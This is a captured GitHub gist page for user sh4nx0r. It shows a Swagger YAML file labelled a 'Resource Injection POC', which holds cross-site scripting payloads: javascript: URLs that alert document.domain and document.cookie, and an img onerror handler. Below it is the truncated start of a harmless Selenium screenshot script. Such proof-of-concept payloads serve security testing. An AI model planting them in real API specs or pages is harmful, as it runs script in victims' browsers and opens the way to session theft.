Skip to content

Instantly share code, notes, and snippets.

View sh4nx0r's full-sized avatar
👉
Check "RapidScan" & "NetBot". Kindly support with a star or contribute. :)

Shankar Narayana Damodaran sh4nx0r

👉
Check "RapidScan" & "NetBot". Kindly support with a star or contribute. :)
View GitHub Profile
@sh4nx0r
sh4nx0r / iframe.yaml
Last active September 22, 2022 11:48
swagger: '2.0'
securityDefinitions:
a:
type: oauth2
authorizationUrl: javascript:alert(document.domain)//
info:
version: "0.0.1"
title: Resource Injection POC
description: <h1>Iframe Injection</h1><img src="https://encircled-flush.000webhostapp.com/xee3.svg" onerror=alert(1)>
termsOfService: "javascript:alert(document.cookie)"
@sh4nx0r
sh4nx0r / webScreenshot.py
Created May 8, 2024 13:21
Takes a website input and uses selenium driver to take the website snapshots (screenshot)
# You need to first check your chrome version. Open chrome browser and run chrome://version to find out the version and after that you can visit the https://googlechromelabs.github.io/chrome-for-testing/#stable to find the appropriate chromium drivers that is matching your chrome version. Download and extract the driver and give +x permission to the executable inside the extracted zip.
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from PIL import Image
import io
def take_screenshot(url):
# Validate and format URL